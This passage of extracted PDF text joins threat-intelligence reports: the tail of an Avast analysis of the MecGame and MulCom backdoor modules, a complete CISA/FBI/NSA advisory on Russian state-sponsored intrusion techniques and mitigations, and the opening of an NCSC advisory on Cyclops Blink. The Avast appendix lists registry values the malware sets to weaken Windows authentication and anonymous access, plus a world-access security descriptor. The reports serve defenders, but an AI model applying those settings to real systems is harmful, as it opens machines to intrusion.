+MecGame is another example of a plugin that can be loaded by the Core Plugin . Its main purpose is
+similar to the previously described Zload plugin 
+ it executes the binary 
+spdlogd.exe
+ and achieves
+persistence by registering an RPC interface with UUID {1052E375-2CE2-458E-AA80-F3B7D6EA23AF} . This
+RPC interface represents a function that decodes and executes a base64 encoded shellcode.
+The MecGame plugin has several methods for executing spdlogd.exe depending on the level of available
+privileges. It also creates a lockfile with the name MSSYS.lck or <UserName>-XPS.lck depending on the
+name of the process that loaded it, and deletes the files atomxd.dll and logexts.dll .
+14/18
+It can be installed as a service with the service name 
+inteloem
+ or can be loaded by any executable that
+connects to the internet via the Winsock2 library.
+MulCom
+ABA89668C6E9681671A95B3D7A08AAE2A067DEED2D835BA6F6FD18556C88A5F2
+This DLL is a backdoor module which exports four functions: 
+OperateRoutineW
+StartRoutineW
+StopRoutineW
+ and 
+WorkRoutineW
+ ; the main malicious function being 
+StartRoutineW
+For proper execution, the backdoor needs configuration data accessed through a shared object with the file
+mapping name either 
+Global\\4ED8FD41-2D1B-4CC3-B874-02F0C60FF9CB
+ or "Local\\4ED8FD412D1B-4CC3-B874-02F0C60FF9CB
+ . Unfortunately we didn
+t come across the configuration data, so we are
+missing some information such as the C&C server domains this module uses.
+There are 15 commands supported by this backdoor (although some of them are not implemented) referred to
+by the following numerical identifiers:
+Command
+Function description
+Sends collected data from executed commands. It is used only if the authentication with a
+proxy is done through NTLM
+Finds out information about the domain name, user name and security identifier of the
+process explorer.exe . It finds out the user name, domain name, and computer name of
+all Remote Desktop sessions.
+Enumerates root disks
+Enumerates files and finds out their creation time, last access time and last write time
+Creates a process with a duplicated token. The token is obtained from one of the processes
+in the list (see Appendix).
+Enumerates files and finds out creation time, last time access, last write time
+Renames files
+Deletes files
+Creates a directory
+Sends an error code obtained via GetLastError API function
+Enumerates files in a specific folder and finds out their creation time, last access time and
+last write time
+Uploads a file to the C&C server
+Not implemented (reserved)
+Combination
+105/106/107
+Creates a directory and downloads files from the C&C server
+Communication protocol
+15/18
+The MulCom backdoor is capable of communicating via HTTP and TCP protocols. The data it exchanges
+with the C&C servers is encrypted and compressed by the RC4 and aPack algorithms respectively, using the
+RC4 key loaded from the configuration data object.
+It is also capable of proxy server authentication using schemes such as Basic, NTLM, Negotiate or to
+authenticate via either the SOCKS4 and SOCKS5 protocols.
+After successful authentication with a proxy server, the backdoor sends data xorred by the constant 0xBC .
+This data is a set with the following structure:
+Data structure
+Another interesting capability of this backdoor is the usage of layered C&C servers. If this option is enabled in
+the configuration object (it is not the default option), the first request goes to the first layer C&C server, which
+returns the IP address of the second layer. Any subsequent communication goes to the second layer directly.
+As previously stated, we found several code similarities between the MulCom DLL and the FFRat (a.k.a.
+FormerFirstRAT ).
+Conclusion
+We have described a robust and modular toolset used most likely by a Chinese speaking APT group targeting
+gambling-related companies in South East Asia. As we mentioned in this blogpost, there are notable code
+similarities between FFRat samples and the MulCom backdoor. FFRat or "FormerFirstRAT'' has
+been publicly associated with the DragonOK group according to the Palo Alto Network report, which has in
+turn been associated with backdoors like PoisonIvy and PlugX 
+ tools commonly used by Chinese
+speaking attackers.
+We also described two different infection vectors, one of which weaponized a vulnerable WPS Office updater.
+We rate the threat this infection vector represents as very high, as WPS Office claims to have 1.2 billion
+installations worldwide, and this vulnerability potentially allows a simple way to execute arbitrary code on
+any of these devices. We have contacted WPS Office about the vulnerability we discovered and it has since
+been fixed.
+Our research points to some unanswered questions, such as reliable attribution and the attackers
+ motivation.
+Appendix
+List of processes:
+360sd.exe
+360rp.exe
+360Tray.exe
+360Safe.exe
+360rps.exe
+16/18
+ZhuDongFangYu.exe
+kxetray.exe
+kxescore.exe
+KSafeTray.exe
+KSafe.exe
+audiodg.exe
+iexplore.exe
+MicrosoftEdge.exe
+MicrosoftEdgeCP.exe
+chrome.exe
+Registry values changed by the Zload plugin:
+Registry path in HKEY_LOCAL_MACHINE
+Registry key
+SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System
+LocalAccountTokenFilterPolicy
+= 1 FilterAdministratorToken =
+SYSTEM\\CurrentControlSet\\Control\\Lsa
+LimitBlankPasswordUse = 0
+EveryoneIncludesAnonymous
+= 1 RestrictAnonymous = 0
+System\\CurrentControlSet\\Services\\LanManServer\\Parameters
+RestrictNullSessAccess = 0
+NullSessionPipes =
+RpcServices
+Core module working directory (WD)
+Default hard-coded WD names (created either in C:\ProgramData\ or in %TEMP% ):
+spptools
+NewGame
+TspSoft
+InstallAtomx
+File used to test permissions: game_<tick_count>.log 
+ the WD path is written into it and then the file is
+deleted.
+Hard-coded security descriptor used for WD access: 
+D:(A;;GA;;;WD)(A;OICIIO;GA;;;WD)
+Lockfile name format: 
+<working_dir>\<victim_username>-<comment_string>.log
+Core module mutexes:
+Global\sysmon-windows-%x (%x is a CRC32 of an MD5 hash of the victim
+s username)
+Global\IntelGameSpeed-%x (%x is a CRC32 of an MD5 hash of the victim
+s username
+Global\TencentSecuriryAgent-P01-%s
+(%s is the victim
+s username)
+Indicators of Compromise (IoC)
+Repository: https://github.com/avast/ioc/tree/master/OperationDragonCastling
+17/18
+List of SHA256: https://github.com/avast/ioc/blob/master/OperationDragonCastling/samples.sha256
+Avast Threat Intelligence Team has found a remote access tool (RAT) actively being used in the wild in the
+Philippines that uses what appears to be a compromised digital certificate belonging to the Philippine Navy.
+This is the story of piecing together information and research leading to the discovery of one of the largest
+botnet-as-a-service cybercrime operations we
+ve seen in a while. This research reveals that a cryptomining
+malware campaign we...
+18/18
+Co-Authored by:
+TLP:WHITE
+Product ID: AA22-011A
+January 11, 2022
+Understanding and Mitigating Russian StateSponsored Cyber Threats to U.S. Critical
+Infrastructure
+SUMMARY
+This joint Cybersecurity Advisory (CSA)
+authored by the
+Cybersecurity and Infrastructure Security Agency (CISA),
+Federal Bureau of Investigation (FBI), and National Security
+Agency (NSA)
+is part of our continuing cybersecurity
+mission to warn organizations of cyber threats and help the
+cybersecurity community reduce the risk presented by these
+threats. This CSA provides an overview of Russian statesponsored cyber operations; commonly observed tactics,
+techniques, and procedures (TTPs); detection actions;
+incident response guidance; and mitigations. This overview is
+intended to help the cybersecurity community reduce the risk
+presented by these threats.
+Actions critical infrastructure
+organizations should implement to
+immediately strengthen their cyber
+posture.
+ Patch all systems. Prioritize
+patching known exploited
+vulnerabilities.
+ Implement multi-factor
+authentication.
+ Use antivirus software.
+ Develop internal contact lists
+and surge support.
+CISA, the FBI, and NSA encourage the cybersecurity
+community
+especially critical infrastructure network
+defenders
+to adopt a heightened state of awareness and to conduct proactive threat hunting, as
+outlined in the Detection section. Additionally, CISA, the FBI, and NSA strongly urge network
+defenders to implement the recommendations listed below and detailed in the Mitigations section.
+These mitigations will help organizations improve their functional resilience by reducing the risk of
+compromise or severe business degradation.
+To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact
+your local FBI field office at fbi.gov/contact-us/field, or the FBI
+s 24/7 Cyber Watch (CyWatch) at
+(855) 292-3937 or by e-mail at CyWatch@fbi.gov. When available, please include the following information
+regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of
+equipment used for the activity; the name of the submitting company or organization; and a designated point of
+contact. To request incident response resources or technical assistance related to these threats, contact CISA at
+CISAServiceDesk@cisa.dhs.gov. For NSA client requirements or general cybersecurity inquiries, contact the
+Cybersecurity Requirements Center at 410-854-4200 or Cybersecurity_Requests@nsa.gov.
+This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information
+carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public
+release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
+For more information on the Traffic Light Protocol, see cisa.gov/tlp/.
+TLP:WHITE
+CISA | FBI | NSA
+TLP:WHITE
+1. Be prepared. Confirm reporting processes and minimize personnel gaps in IT/OT security
+coverage. Create, maintain, and exercise a cyber incident response plan, resilience plan, and
+continuity of operations plan so that critical functions and operations can be kept running if
+technology systems are disrupted or need to be taken offline.
+2. Enhance your organization
+s cyber posture. Follow best practices for identity and access
+management, protective controls and architecture, and vulnerability and configuration
+management.
+3. Increase organizational vigilance. Stay current on reporting on this threat. Subscribe to
+CISA
+s mailing list and feeds to receive notifications when CISA releases information about a
+security topic or threat.
+CISA, the FBI, and NSA encourage critical infrastructure organization leaders to review CISA
+Insights: Preparing for and Mitigating Cyber Threats for information on reducing cyber threats to their
+organization.
+TECHNICAL DETAILS
+Note: this advisory uses the MITRE ATT&CK
+ for Enterprise framework, version 10. See
+the ATT&CK for Enterprise for all referenced threat actor tactics and techniques.
+Historically, Russian state-sponsored advanced persistent threat (APT) actors have used common
+but effective tactics
+including spearphishing, brute force, and exploiting known vulnerabilities against
+accounts and networks with weak security
+to gain initial access to target networks. Vulnerabilities
+known to be exploited by Russian state-sponsored APT actors for initial access include:
+CVE-2018-13379 FortiGate VPNs
+CVE-2019-1653 Cisco router
+CVE-2019-2725 Oracle WebLogic Server
+CVE-2019-7609 Kibana
+CVE-2019-9670 Zimbra software
+CVE-2019-10149 Exim Simple Mail Transfer Protocol
+CVE-2019-11510 Pulse Secure
+CVE-2019-19781 Citrix
+CVE-2020-0688 Microsoft Exchange
+CVE-2020-4006 VMWare (note: this was a zero-day at time.)
+CVE-2020-5902 F5 Big-IP
+CVE-2020-14882 Oracle WebLogic
+CVE-2021-26855 Microsoft Exchange (Note: this vulnerability is frequently observed used in
+conjunction with CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065)
+Russian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber
+capabilities by compromising third-party infrastructure, compromising third-party software, or
+developing and deploying custom malware. The actors have also demonstrated the ability to maintain
+persistent, undetected, long-term access in compromised environments
+including cloud
+environments
+by using legitimate credentials.
+Page 2 of 12 | Product ID: AA22-011A
+TLP:WHITE
+CISA | FBI | NSA
+TLP:WHITE
+In some cases, Russian state-sponsored cyber operations against critical infrastructure organizations
+have specifically targeted operational technology (OT)/industrial control systems (ICS) networks with
+destructive malware. See the following advisories and alerts for information on historical Russian
+state-sponsored cyber-intrusion campaigns and customized malware that have targeted ICS:
+ICS Advisory ICS Focused Malware 
+ Havex
+ICS Alert Ongoing Sophisticated Malware Campaign Compromising ICS (Update E)
+ICS Alert Cyber-Attack Against Ukrainian Critical Infrastructure
+Technical Alert CrashOverride Malware
+CISA MAR HatMan: Safety System Targeted Malware (Update B)
+CISA ICS Advisory Schneider Electric Triconex Tricon (Update B)
+Russian state-sponsored APT actors have used sophisticated cyber capabilities to target a variety of
+U.S. and international critical infrastructure organizations, including those in the Defense Industrial
+Base as well as the Healthcare and Public Health, Energy, Telecommunications, and Government
+Facilities Sectors. High-profile cyber activity publicly attributed to Russian state-sponsored APT actors
+by U.S. government reporting and legal actions includes:
+Russian state-sponsored APT actors targeting state, local, tribal, and territorial (SLTT)
+governments and aviation networks, September 2020, through at least December 2020.
+Russian state-sponsored APT actors targeted dozens of SLTT government and aviation
+networks. The actors successfully compromised networks and exfiltrated data from multiple
+victims.
+Russian state-sponsored APT actors
+ global Energy Sector intrusion campaign, 2011 to
+2018. These Russian state-sponsored APT actors conducted a multi-stage intrusion campaign
+in which they gained remote access to U.S. and international Energy Sector networks,
+deployed ICS-focused malware, and collected and exfiltrated enterprise and ICS-related data.
+Russian state-sponsored APT actors
+ campaign against Ukrainian critical
+infrastructure, 2015 and 2016. Russian state-sponsored APT actors conducted a
+cyberattack against Ukrainian energy distribution companies, leading to multiple companies
+experiencing unplanned power outages in December 2015. The actors deployed BlackEnergy
+malware to steal user credentials and used its destructive malware component, KillDisk, to
+make infected computers inoperable. In 2016, these actors conducted a cyber-intrusion
+campaign against a Ukrainian electrical transmission company and deployed CrashOverride
+malware specifically designed to attack power grids.
+For more information on recent and historical Russian state-sponsored malicious cyber activity, see
+the referenced products below or cisa.gov/Russia.
+Joint FBI-DHS-CISA CSA Russian Foreign Intelligence Service (SVR) Cyber Operations:
+Trends and Best Practices for Network Defenders
+Joint NSA-FBI-CISA CSA Russian GRU Conducting Global Brute Force Campaign to
+Compromise Enterprise and Cloud Environments
+Page 3 of 12 | Product ID: AA22-011A
+TLP:WHITE
+CISA | FBI | NSA
+TLP:WHITE
+Joint FBI-CISA CSA Russian State-Sponsored Advanced Persistent Threat Actor
+Compromises U.S. Government Targets
+Joint CISA-FBI CSA APT Actors Chaining Vulnerabilities against SLTT, Critical Infrastructure,
+and Elections Organizations
+CISA
+s webpage Remediating Networks Affected by the SolarWinds and Active
+Directory/M365 Compromise
+CISA Alert Russian Government Cyber Activity Targeting Energy Sector and Other Critical
+Infrastructure Sectors
+CISA ICS: Alert Cyber-Attack Against Ukrainian Critical Infrastructure
+Table 1 provides common, publicly known TTPs employed by Russian state-sponsored APT actors,
+which map to the MITRE ATT&CK for Enterprise framework, version 10. Note: these lists are not
+intended to be all inclusive. Russian state-sponsored actors have modified their TTPs before based
+on public reporting.[1] Therefore, CISA, the FBI, and NSA anticipate the Russian state-sponsored
+actors may modify their TTPs as they deem necessary to reduce their risk of detection.
+Table 1: Common Tactics and Techniques Employed by Russian State-Sponsored APT Actors
+Tactic
+Reconnaissance
+[TA0043]
+Technique
+Active Scanning:
+Vulnerability Scanning
+[T1595.002]
+Procedure
+Russian state-sponsored APT actors have performed largescale scans in an attempt to find vulnerable servers.
+Phishing for Information
+[T1598]
+Russian state-sponsored APT actors have conducted
+spearphishing campaigns to gain credentials of target
+networks.
+Resource
+Development
+[TA0042]
+Develop Capabilities:
+Malware [T1587.001]
+Russian state-sponsored APT actors have developed and
+deployed malware, including ICS-focused destructive
+malware.
+Initial Access
+[TA0001]
+Exploit Public Facing
+Applications [T1190]
+Russian state-sponsored APT actors use publicly known
+vulnerabilities, as well as zero-days, in internet-facing
+systems to gain access to networks.
+Supply Chain
+Compromise:
+Compromise Software
+Supply Chain
+[T1195.002]
+Russian state-sponsored APT actors have gained initial
+access to victim organizations by compromising trusted thirdparty software. Notable incidents include M.E.Doc accounting
+software and SolarWinds Orion.
+Command and Scripting
+Interpreter: PowerShell
+[T1059.003] and
+Russian state-sponsored APT actors have used cmd.exe to
+execute commands on remote machines. They have also
+used PowerShell to create new tasks on remote machines,
+Execution
+[TA0002]
+Page 4 of 12 | Product ID: AA22-011A
+TLP:WHITE
+CISA | FBI | NSA
+TLP:WHITE
+Tactic
+Technique
+Windows Command
+Shell [T1059.003]
+Procedure
+identify configuration settings, exfiltrate data, and to execute
+other commands.
+Persistence
+[TA0003]
+Valid Accounts [T1078]
+Russian state-sponsored APT actors have used credentials of
+existing accounts to maintain persistent, long-term access to
+compromised networks.
+Credential
+Access
+[TA0006]
+Brute Force: Password
+Guessing [T1110.001]
+and Password Spraying
+[T1110.003]
+Russian state-sponsored APT actors have conducted bruteforce password guessing and password spraying campaigns.
+OS Credential Dumping:
+NTDS [T1003.003]
+Russian state-sponsored APT actors have exfiltrated
+credentials and exported copies of the Active Directory
+database ntds.dit.
+Steal or Forge Kerberos
+Tickets: Kerberoasting
+[T1558.003]
+Russian state-sponsored APT actors have performed
+Kerberoasting,
+ whereby they obtained the Ticket Granting
+Service (TGS) Tickets for Active Directory Service Principal
+Names (SPN) for offline cracking.
+Credentials from
+Password Stores [T1555]
+Russian state-sponsored APT actors have used previously
+compromised account credentials to attempt to access Group
+Managed Service Account (gMSA) passwords.
+Exploitation for
+Credential Access
+[T1212]
+Russian state-sponsored APT actors have exploited Windows
+Netlogon vulnerability CVE-2020-1472 to obtain access to
+Windows Active Directory servers.
+Unsecured Credentials:
+Private Keys [T1552.004]
+Russian state-sponsored APT actors have obtained private
+encryption keys from the Active Directory Federation Services
+(ADFS) container to decrypt corresponding SAML signing
+certificates.
+Proxy: Multi-hop Proxy
+[T1090.003]
+Russian state-sponsored APT actors have used virtual private
+servers (VPSs) to route traffic to targets. The actors often use
+VPSs with IP addresses in the home country of the victim to
+hide activity among legitimate user traffic.
+Command and
+Control
+[TA0011]
+For additional enterprise TTPs used by Russian state-sponsored APT actors, see the ATT&CK for
+Enterprise pages on APT29, APT28, and the Sandworm Team, respectively. For information on ICS
+Page 5 of 12 | Product ID: AA22-011A
+TLP:WHITE
+CISA | FBI | NSA
+TLP:WHITE
+TTPs see the ATT&CK for ICS pages on the Sandworm Team, BlackEnergy 3 malware,
+CrashOveride malware, BlackEnergy
+s KillDisk component, and NotPetya malware.
+DETECTION
+Given Russian state-sponsored APT actors demonstrated capability to maintain persistent, long-term
+access in compromised enterprise and cloud environments, CISA, the FBI, and NSA encourage all
+critical infrastructure organizations to:
+Implement robust log collection and retention. Without a centralized log collection and
+monitoring capability, organizations have limited ability to investigate incidents or detect the
+threat actor behavior described in this advisory. Depending on the environment, examples
+include:
+Native tools such as M365
+s Sentinel.
+Third-party tools, such as Sparrow, Hawk, or CrowdStrike's Azure Reporting Tool
+(CRT), to review Microsoft cloud environments and to detect unusual activity, service
+principals, and application activity. Note: for guidance on using these and other
+detection tools, refer to CISA Alert Detecting Post-Compromise Threat Activity in
+Microsoft Cloud Environments.
+Look for behavioral evidence or network and host-based artifacts from known Russian
+state-sponsored TTPs. See table 1 for commonly observed TTPs.
+To detect password spray activity, review authentication logs for system and
+application login failures of valid accounts. Look for multiple, failed authentication
+attempts across multiple accounts.
+To detect use of compromised credentials in combination with a VPS, follow the below
+steps:
+Look for suspicious 
+impossible logins,
+ such as logins with changing
+username, user agent strings, and IP address combinations or logins where IP
+addresses do not align to the expected user
+s geographic location.
+Look for one IP used for multiple accounts, excluding expected logins.
+Look for 
+impossible travel.
+ Impossible travel occurs when a user logs in from
+multiple IP addresses that are a significant geographic distance apart (i.e., a
+person could not realistically travel between the geographic locations of the two
+IP addresses during the time period between the logins). Note: implementing
+this detection opportunity can result in false positives if legitimate users apply
+VPN solutions before connecting into networks.
+Look for processes and program execution command-line arguments that may
+indicate credential dumping, especially attempts to access or copy the
+ntds.dit file from a domain controller.
+Look for suspicious privileged account use after resetting passwords or
+applying user account mitigations.
+Page 6 of 12 | Product ID: AA22-011A
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+CISA | FBI | NSA
+TLP:WHITE
+Look for unusual activity in typically dormant accounts.
+Look for unusual user agent strings, such as strings not typically associated
+with normal user activity, which may indicate bot activity.
+For organizations with OT/ICS systems:
+Take note of unexpected equipment behavior; for example, unexpected reboots of
+digital controllers and other OT hardware and software.
+Record delays or disruptions in communication with field equipment or other OT
+devices. Determine if system parts or components are lagging or unresponsive.
+INCIDENT RESPONSE
+Organizations detecting potential APT activity in their IT or OT networks should:
+1. Immediately isolate affected systems.
+2. Secure backups. Ensure your backup data is offline and secure. If possible, scan your backup
+data with an antivirus program to ensure it is free of malware.
+3. Collect and review relevant logs, data, and artifacts.
+4. Consider soliciting support from a third-party IT organization to provide subject matter
+expertise, ensure the actor is eradicated from the network, and avoid residual issues that
+could enable follow-on exploitation.
+5. Report incidents to CISA and/or the FBI via your local FBI field office or the FBI
+s 24/7
+CyWatch at (855) 292-3937 or CyWatch@fbi.gov.
+Note: for OT assets, organizations should have a resilience plan that addresses how to operate if
+you lose access to
+or control of
+the IT and/or OT environment. Refer to the Mitigations section for
+more information.
+See the joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United
+States on Technical Approaches to Uncovering and Remediating Malicious Activity for guidance on
+hunting or investigating a network, and for common mistakes in incident handling. CISA, the FBI, and
+NSA encourage critical infrastructure owners and operators to see CISA
+s Federal Government
+Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to federal civilian
+branch agencies, these playbooks provide operational procedures for planning and conducting
+cybersecurity incident and vulnerability response activities and detail each step for both incident and
+vulnerability response.
+Note: organizations should document incident response procedures in a cyber incident response
+plan, which organizations should create and exercise (as noted in the Mitigations section).
+Page 7 of 12 | Product ID: AA22-011A
+TLP:WHITE
+CISA | FBI | NSA
+TLP:WHITE
+MITIGATIONS
+CISA, the FBI, and NSA encourage all organizations to implement the following recommendations to
+increase their cyber resilience against this threat.
+Be Prepared
+Confirm Reporting Processes and Minimize Coverage Gaps
+Develop internal contact lists. Assign main points of contact for a suspected incident as well
+as roles and responsibilities and ensure personnel know how and when to report an incident.
+Minimize gaps in IT/OT security personnel availability by identifying surge support for
+responding to an incident. Malicious cyber actors are known to target organizations on
+weekends and holidays when there are gaps in organizational cybersecurity
+critical
+infrastructure organizations should proactively protect themselves by minimizing gaps in
+coverage.
+Ensure IT/OT security personnel monitor key internal security capabilities and can identify
+anomalous behavior. Flag any identified IOCs and TTPs for immediate response. (See table 1
+for commonly observed TTPs).
+Create, Maintain, and Exercise a Cyber Incident Response, Resilience Plan, and
+Continuity of Operations Plan
+Create, maintain, and exercise a cyber incident response and continuity of operations plan.
+Ensure personnel are familiar with the key steps they need to take during an incident and are
+positioned to act in a calm and unified manner. Key questions:
+o Do personnel have the access they need?
+o Do they know the processes?
+For OT assets/networks,
+o Identify a resilience plan that addresses how to operate if you lose access to
+control of
+the IT and/or OT environment.
+ Identify OT and IT network interdependencies and develop workarounds or
+manual controls to ensure ICS networks can be isolated if the connections
+create risk to the safe and reliable operation of OT processes. Regularly test
+contingency plans, such as manual controls, so that safety critical functions can
+be maintained during a cyber incident. Ensure that the OT network can operate
+at necessary capacity even if the IT network is compromised.
+o Regularly test manual controls so that critical functions can be kept running if ICS or
+OT networks need to be taken offline.
+o Implement data backup procedures on both the IT and OT networks. Backup
+procedures should be conducted on a frequent, regular basis. Regularly test backup
+procedures and ensure that backups are isolated from network connections that could
+enable the spread of malware.
+Page 8 of 12 | Product ID: AA22-011A
+TLP:WHITE
+CISA | FBI | NSA
+TLP:WHITE
+In addition to backing up data, develop recovery documents that include configuration
+settings for common devices and critical OT equipment. This can enable more efficient
+recovery following an incident.
+Enhance your Organization
+s Cyber Posture
+CISA, the FBI, and NSA recommend organizations apply the best practices below for identity and
+access management, protective controls and architecture, and vulnerability and configuration
+management.
+Identity and Access Management
+Require multi-factor authentication for all users, without exception.
+Require accounts to have strong passwords and do not allow passwords to be used across
+multiple accounts or stored on a system to which an adversary may have access.
+Secure credentials. Russian state-sponsored APT actors have demonstrated their ability to
+maintain persistence using compromised credentials.
+o Use virtualizing solutions on modern hardware and software to ensure credentials are
+securely stored.
+o Disable the storage of clear text passwords in LSASS memory.
+o Consider disabling or limiting New Technology Local Area Network Manager
+(NTLM) and WDigest Authentication.
+o Implement Credential Guard for Windows 10 and Server 2016 (Refer to Microsoft:
+Manage Windows Defender Credential Guard for more information). For Windows
+Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).
+o Minimize the Active Directory attack surface to reduce malicious ticket-granting activity.
+Malicious activity such as 
+Kerberoasting
+ takes advantage of Kerberos
+ TGS and can
+be used to obtain hashed credentials that attackers attempt to crack.
+Set a strong password policy for service accounts.
+Audit Domain Controllers to log successful Kerberos TGS requests and ensure the events are
+monitored for anomalous activity.
+o Secure accounts.
+o Enforce the principle of least privilege. Administrator accounts should have the
+minimum permission they need to do their tasks.
+o Ensure there are unique and distinct administrative accounts for each set of
+administrative tasks.
+o Create non-privileged accounts for privileged users and ensure they use the nonprivileged accounts for all non-privileged access (e.g., web browsing, email access).
+Protective Controls and Architecture
+Identify, detect, and investigate abnormal activity that may indicate lateral movement by a
+threat actor or malware. Use network monitoring tools and host-based logs and monitoring
+tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly
+Page 9 of 12 | Product ID: AA22-011A
+TLP:WHITE
+CISA | FBI | NSA
+TLP:WHITE
+useful for detecting lateral connections as they have insight into common and uncommon
+network connections for each host.
+Enable strong spam filters.
+o Enable strong spam filters to prevent phishing emails from reaching end users.
+o Filter emails containing executable files to prevent them from reaching end users.
+o Implement a user training program to discourage users from visiting malicious
+websites or opening malicious attachments.
+Note: CISA, the FBI, and NSA also recommend, as a longer-term effort, that critical infrastructure
+organizations implement network segmentation to separate network segments based on role and
+functionality. Network segmentation can help prevent lateral movement by controlling traffic flows
+between
+and access to
+various subnetworks.
+Appropriately implement network segmentation between IT and OT networks. Network
+segmentation limits the ability of adversaries to pivot to the OT network even if the IT network
+is compromised. Define a demilitarized zone that eliminates unregulated communication
+between the IT and OT networks.
+Organize OT assets into logical zones by taking into account criticality, consequence, and
+operational necessity. Define acceptable communication conduits between the zones and
+deploy security controls to filter network traffic and monitor communications between zones.
+Prohibit ICS protocols from traversing the IT network.
+Vulnerability and Configuration Management
+Update software, including operating systems, applications, and firmware on IT network
+assets, in a timely manner. Prioritize patching known exploited vulnerabilities, especially those
+CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote
+code execution or denial-of-service on internet-facing equipment.
+o Consider using a centralized patch management system. For OT networks, use a riskbased assessment strategy to determine the OT network assets and zones that should
+participate in the patch management program.
+o Consider signing up for CISA
+s cyber hygiene services, including vulnerability
+scanning, to help reduce exposure to threats. CISA
+s vulnerability scanning service
+evaluates external network presence by executing continuous scans of public, static IP
+addresses for accessible services and vulnerabilities.
+Use industry recommended antivirus programs.
+o Set antivirus/antimalware programs to conduct regular scans of IT network assets
+using up-to-date signatures.
+o Use a risk-based asset inventory strategy to determine how OT network assets are
+identified and evaluated for the presence of malware.
+Implement rigorous configuration management programs. Ensure the programs can track and
+mitigate emerging threats. Review system configurations for misconfigurations and security
+weaknesses.
+Page 10 of 12 | Product ID: AA22-011A
+TLP:WHITE
+CISA | FBI | NSA
+TLP:WHITE
+Disable all unnecessary ports and protocols
+o Review network security device logs and determine whether to shut off unnecessary
+ports and protocols. Monitor common ports and protocols for command and control
+activity.
+o Turn off or disable any unnecessary services (e.g., PowerShell) or functionality within
+devices.
+Ensure OT hardware is in read-only mode.
+Increase Organizational Vigilance
+Regularly review reporting on this threat. Consider signing up for CISA notifications to receive
+timely information on current security issues, vulnerabilities, and high-impact activity.
+RESOURCES
+For more information on Russian state-sponsored malicious cyber activity, refer to
+cisa.gov/Russia.
+Refer to CISA Analysis Report Strengthening Security Configurations to Defend Against
+Attackers Targeting Cloud Services for steps for guidance on strengthening your organizations
+cloud security practices.
+Leaders of small businesses and small and local government agencies should see CISA
+Cyber Essentials for guidance on developing an actionable understanding of implementing
+organizational cybersecurity practices.
+Critical infrastructure owners and operators with OT/ICS networks, should review the following
+resources for additional information:
+o NSA and CISA joint CSA NSA and CISA Recommend Immediate Actions to Reduce
+Exposure Across Operational Technologies and Control Systems
+o CISA factsheet Rising Ransomware Threat to Operational Technology Assets for
+additional recommendations.
+REWARDS FOR JUSTICE PROGRAM
+If you have information on state-sponsored Russian cyber operations targeting U.S. critical
+infrastructure, contact the Department of State
+s Rewards for Justice Program. You may be eligible
+for a reward of up to $10 million, which DOS is offering for information leading to the identification or
+location of any person who, while acting under the direction or control of a foreign government,
+participates in malicious cyber activity against U.S. critical infrastructure in violation of the Computer
+Fraud and Abuse Act (CFAA). Contact +1-202-702-7843 on WhatsApp, Signal, or Telegram, or send
+information via the Rewards for Justice secure Tor-based tips line located on the Dark Web. For more
+details refer to rewardsforjustice.net/malicious_cyber_activity.
+Page 11 of 12 | Product ID: AA22-011A
+TLP:WHITE
+TLP:WHITE
+CISA | FBI | NSA
+CAVEATS
+The information you have accessed or received is being provided 
+as is
+ for informational purposes
+only. CISA, the FBI, and NSA do not endorse any commercial product or service, including any
+subjects of analysis. Any reference to specific commercial products, processes, or services by service
+mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement,
+recommendation, or favoring by CISA, the FBI, or NSA.
+REFERENCES
+[1] Joint NCSC-CISA UK Advisory: Further TTPs Associated with SVR Cyber Actors
+https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors
+Page 12 of 12 | Product ID: AA22-011A
+TLP:WHITE
+Advisory.
+New Sandworm malware
+Cyclops Blink replaces
+VPNFilter
+Version 1.0
+23 February 2022
+ Crown Copyright 2022
+New Sandworm malware Cyclops Blink
+replaces VPNFilter
+The Sandworm actor, which the UK and US have previously attributed to
+the Russian GRU, has replaced the exposed VPNFilter malware with a new
+more advanced framework.
+Background
+The UK National Cyber Security Centre (NCSC), the Cybersecurity and Infrastructure
+Security Agency (CISA), the National Security Agency (NSA) and the Federal Bureau
+of Investigation (FBI) in the US have identified that the actor known as Sandworm or
+Voodoo Bear is using a new malware, referred to here as Cyclops Blink. The NCSC,
+CISA, NSA and FBI have previously attributed the Sandworm actor to the Russian
+s Main Centre for Special Technologies GTsST. The malicious cyber activity
+below has previously been attributed to Sandworm:
+The BlackEnergy disruption of Ukrainian electricity in 2015
+Industroyer in 2016
+NotPetya in 2017
+Attacks against the Winter Olympics and Paralympics in 20181
+A series of disruptive attacks against Georgia in 20192
+Cyclops Blink appears to be a replacement framework for the VPNFilter malware
+exposed in 2018, which exploited network devices, primarily small office/home office
+(SOHO) routers and network attached storage (NAS) devices.
+https://www.ncsc.gov.uk/news/uk-and-partners-condemn-gru-cyber-attacks-against-olympic-an-paralympic-games
+https://www.gov.uk/government/news/uk-condemns-russias-gru-over-georgia-cyber-attacks
+This advisory summarises the VPNFilter malware it replaces, and provides more detail
+about Cyclops Blink, as well as the associated tactics, techniques and procedures
+(TTPs) used by Sandworm. An NCSC malware analysis report on Cyclops Blink is
+also available and can be read in parallel.
+It also points to mitigation measures to help organisations that may be affected by this
+malware.
+VPNFilter
+First exposed in 2018
+A series of articles published by Cisco Talos in 20181 describes VPNFilter and its
+modules in detail. VPNFilter was deployed in stages, with most functionality in the
+third-stage modules. These modules enabled traffic manipulation, destruction of the
+infected host device, and likely enabled downstream devices to be exploited. They
+also allowed monitoring of Modbus SCADA protocol which appears to be an ongoing
+requirement for Sandworm, as also seen in their previous attacks against ICS
+networks.
+VPNFilter targeting was widespread and appeared indiscriminate, with some
+exceptions: Cisco Talos reported an increase of victims in Ukraine in May 2018.
+Sandworm also deployed VPNFilter against targets in the Republic of Korea before
+the 2018 Winter Olympics.
+In May 2018 Cisco Talos published the blog that exposed VPNFilter, and the US
